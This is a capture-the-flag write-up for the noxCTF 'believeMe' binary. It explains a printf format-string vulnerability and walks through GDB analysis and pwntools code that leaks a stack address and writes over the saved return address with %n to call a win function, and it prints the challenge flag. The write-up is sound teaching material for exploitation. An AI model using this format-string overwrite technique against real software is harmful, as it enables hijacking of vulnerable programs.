MACCABIM

CTF Challenge - Writeup

PWN - `believeMe`

This challenge requires the most basic understanding of printf vulnerabilities and aslr.

Description:

```
believeMe
378
What is going on here ?
I don't believe you...
you are crazy !!!
(No ASLR)
nc 18.223.228.52 13337
```

Download: ‘believeMe’ File is provided

We fire up a shell and check the executable, we see that is is a 32 bit intel elf executable.

```
❯ file believeMe
believeMe: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=03d2b6bcc0a0fdbab80a9852cab1d201437e7e30, not stripped
```

Lets play with the executable!

Okay, the program waits for an input and then repeats it back to us and finishes.

```
❯ ./believeMe
Someone told me that pwning makes noxāle...
But..... how ????
my_mcb_string
my_mcb_string%
```

Cool, done playing!
Let's fire up IDA for static analysis.
We see two important functions, ‘main’ & ‘noxFlag’, lets see their addresses

```
❯ objdump -t believeMe | grep -e "main" -e "noxFlag"
0804867b g     F .text  000000dc              noxFlag
00000000       F *UND*  00000000
__libc_start_main@@GLIBC_2.0
08048757 g     F .text  000000b3              main
```

A brief look at noxFlag we understand that it's a ‘win’ function,
Basically it opens a file in this case ‘flag.txt’ and prints its contents.

So we just need to somehow make the program call this function and we will probably get the flag.

```
void __noreturn noxFlag()
{
  char i; // [sp+Bh] [bp-Dh]@2
  FILE *stream; // [sp+Ch] [bp-Ch]@1

  stream = fopen("flag.txt", "r");
  puts("\nHooo right... nox-üle \n");
  fflush(stdout);
  if ( stream )
  {
    for ( i = fgetc(stream); i != -1; i = fgetc(stream) )
    {
      putchar(i);
      fflush(stdout);
    }
    fflush(stdout);
    fclose(stream);
  }
  else
  {
    puts("Can't read file \n");
    fflush(stdout);
  }
  exit(0);
}
```

Let’s dive to function main, we notice a call to fgets which make sense because previously when we played with the executable it waited for input.

It receives 40 bytes and stores them on the stack in a 40 bytes size buffer.

```
int __cdecl main(int argc, const char **argv, const char
**envp)
{
  int result; // eax@1
  int v4; // edx@1
  char s[40]; // [sp+14h] [bp-34h]@1
  int v6; // [sp+3Ch] [bp-Ch]@1

  v6 = *MK_FP(__GS__, 20);
  puts("Someone told me that pwning makes
nox-üle...\nBut..... how ???? ");
  fflush(stdout);
  fgets(s, 39, stdin);
  s[strcspn(s, "\n")] = 0;
  printf(s);
  fflush(stdout);
  result = 0;
  v4 = *MK_FP(__GS__, 20) ^ v6;
  return result;
}
```

We also see that it replaces the first ‘\n’ with ‘\x00’ (null terminator).

Locating the vulnerability!
After reading through the pseudo code generated by IDA one line catches our attention, the printf.

```
  printf(s);
```

It’s a format string vulnerability, we are controlling the ‘fmt’ argument to printf! (https://www.owasp.org/index.php/Format_string_attack)

After the printf we see a call to fflush and exits.

Great! We found a vulnerability that allows as to ‘write-what-where’ and leaking values from the stack!

Let’s play one more time with the executable, now that we know it is vulnerable to format string attack. We see that we were right, leaking values from the stack!

```
❯ ./believeMe
Someone told me that pwning makes noxāle...
But......... how ????
%x.%x.%x.%x
804890c.f77905a0.16.ffffffff%
```

Fire up GDB! Lets check security features status, and aslr we were told that it’s turned off.

`(No ASLR)`

```
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
```

Great, because aslr & pie are out of the picture then both stack and the code have the same base address.

Let’s plan the exploit, using printf vulnerability we are able to write-what-where.

We want to write the address of noxFlag function to the address where the saved eip of main function is stored and because aslr is disabled then that location is always the same, we just need to find it.

Using gdb and breaking just before the printf we will search on the stack for a ptr that points somewhere on the stack. Found one in `0xffffcbfc`. We will use fmtarg to find the offset for printf of the leak ptr. -
We also calculate the distance from the leak to saved eip
`0xffffcc4c` - `0xffffcce4` = -0x98

```
[----------------------------------registers-----------------------------------]
EAX: 0xffffcc04 --> 0x616161 ('aaa')
EBX: 0x0
ECX: 0x3
EDX: 0xffffcc04 --> 0x616161 ('aaa')
ESI: 0x1
EDI: 0xf7fa9000 --> 0x1b2db0
EBP: 0xffffcc38 --> 0x0
ESP: 0xffffcbe0 --> 0xffffcc04 --> 0x616161 ('aaa')
EIP: 0x80487d3 (<main+124>:     call   0x80484b0 <printf@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80487cc <main+117>:  sub    esp,0xc
   0x80487cf <main+120>:  lea    eax,[ebp-0x34]
   0x80487d2 <main+123>:  push   eax
=> 0x80487d3 <main+124>:  call   0x80484b0 <printf@plt>
   0x80487d8 <main+129>:  add    esp,0x10
   0x80487db <main+132>:  mov    eax,ds:0x804a064
   0x80487e0 <main+137>:  sub    esp,0xc
   0x80487e3 <main+140>:  push   eax
Guessed arguments:
arg[0]: 0xffffcc04 --> 0x616161 ('aaa')
[-------------------------------------stack-------------------------------------]
0000| 0xffffcbe0 --> 0xffffcc04 --> 0x616161 ('aaa')
0004| 0xffffcbe4 --> 0x804890c --> 0xa ('\n')
0008| 0xffffcbe8 --> 0xf7fa95a0 --> 0xfbad2088
0012| 0xffffcbec --> 0x16
```

```
0016| 0xffffcbf0 --> 0xffffffff
0020| 0xffffcbf4 --> 0xf7fa9000 --> 0x1b2db0
0024| 0xffffcbf8 --> 0xf7e02e18 --> 0x2bb6
0028| 0xffffcbfc --> 0xffffcce4 --> 0xffffceac
("/ctfs/noxCTF/pwn/believeMe/believeMe")
[-------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080487d3 in main ()
gdb-peda$ x/35wx $sp
0xffffcbe0:  0xffffcc04   0x0804890c   0xf7fa95a0   0x00000016
0xffffcbf0:  0xffffffff   0xf7fa9000   0xf7e02e18   0xffffcce4
0xffffcc00:  0xf7fa9000   0x00616161   0xf7ffcd00   0x00040000
0xffffcc10:  0x00000003   0x00000000   0xf7e24880   0x0804885b
0xffffcc20:  0x00000001   0xffffcce4   0xffffccec   0xfad96100
0xffffcc30:  0xf7fa93dc   0xffffcc50   0x00000000   0xf7e0e286
0xffffcc40:  0x00000001   0xf7fa9000   0x00000000   0xf7e0e286
0xffffcc50:  0x00000001   0xffffcce4   0xffffccec   0x00000000
0xffffcc60:  0x00000000   0x00000000   0xf7fa9000
gdb-peda$ fmtarg 0xffffcbfc
The index of format argument : 7
gdb-peda$ info frame
Stack level 0, frame at 0xffffcc50:
 eip = 0x80487d3 in main; saved eip = 0xf7e0e286
 called by frame at 0xffffccc0
 Arglist at 0xffffcc38, args:
 Locals at 0xffffcc38, Previous frame's sp is 0xffffcc50
 Saved registers:
  ebp at 0xffffcc38, eip at 0xffffcc4c
gdb-peda$
```

Let's start writing the exploit!

Step 1 - Get offset to fmt
The offset is 9.

```
    offset_fmt = get_offset_to_fmt()
    print 'offset_fmt: {}'.format(offset_fmt)
```

```
def get_offset_to_fmt():
    def exec_fmt(payload):
        p = process([program])
        p.sendline(payload)
        return p.recvall()

    program = './{}'.format(C_NAME)
    autofmt = FmtStr(exec_fmt)
    offset = autofmt.offset
    return offset
```

Step 2 - Get offset to stack leak
Here we want to find the offset of the stack leak ptr, `0xffffcbfc`, once we find it we don't need to find it again because the offset stays the same every run. The offset is 7.

```
    offset_leak = get_offset_to_stack_leak()
    print 'offset_leak: {}'.format(offset_leak)
```

```
def get_offset_to_stack_leak():
    program = os.path.join(DIR_PATH, '{}'.format(C_NAME))
    p = process([program])
    # main + 0x7C -> printf(s)
```

```
    # LEAK = 0xffffcc6c -> found ptr to stack on the stack
    # RET_EIP = [LEAK] + 0x98

    gdb.attach(p, """
b * main + 0x7C
commands
    fmtarg {leak}

end
c""".format(leak=str(hex(LOCAL_LEAK))))
    print p.sendline('aaa')
    print str(hex(LOCAL_LEAK))
    # pop up shell with correct offset
    return 7  # return int(raw_input('input offset:'))
```

Step 3 - Leak remote saved eip

```
    remote_ret_eip =
leak_remote_ret_eip(offset_to_stack_leak=offset_leak)
    print 'remote_ret_eip: {}'.format(remote_ret_eip)
```

```
def leak_remote_ret_eip(offset_to_stack_leak):
    if EXPLOIT_REMOTE:
        r = remote(host=IP, port=PORT)
    else:
        r = process(['./{}'.format(C_NAME)])
    print r.recvuntil('But......... how ????')

r.sendline('%{off}$x'.format(off=str(offset_to_stack_leak))
)
    ret = r.recvall()
    return int(ret.strip(), 16) - 0x98
```

Step 4 - prepare the payload
We want to write to the address of saved eip twice, each time 2 bytes.
r1 and r2 are the padding that makes each %n write the write value which is noxFlag function address.

```
    noxflag_func = e.functions['noxFlag'].address
    print 'noxflag_func: {}'.format(noxflag_func)

    r1 = (noxflag_func & 0xffff) - 0x8
    r2 = (0xffff - r1) + (noxflag_func >> 16) & 0xffff
    r2 -= 0x7

    off1 = offset_fmt
    off2 = off1 + 1
```

Step 5 - build the payload

```
    payload =
'{remote_ret_eip_1}{remote_ret_eip_2}%{r1}x%{off1}$n%{r2}x%
{off2}$n'.format(
        remote_ret_eip_1=pack(remote_ret_eip,
word_size=32),
        remote_ret_eip_2=pack(remote_ret_eip + 2,
word_size=32),
        r1=r1,
        r2=r2,
        off1=off1,
        off2=off2)
```

Step 6 - pwn!

```
    print 'len:{}'.format(len(payload))
    print r.sendline(payload)
    r.interactive()
```

Step 7 - ???

noxCTF{%N3ver_%7rust_%4h3_%F0rmat}

Summary

As the flag says “Never Trust The Format” :-)

Full exploit in the github:

https://github.com/eLoopWoo/ctf-writeups

MACCABIM Group - Tomer Eyzenberg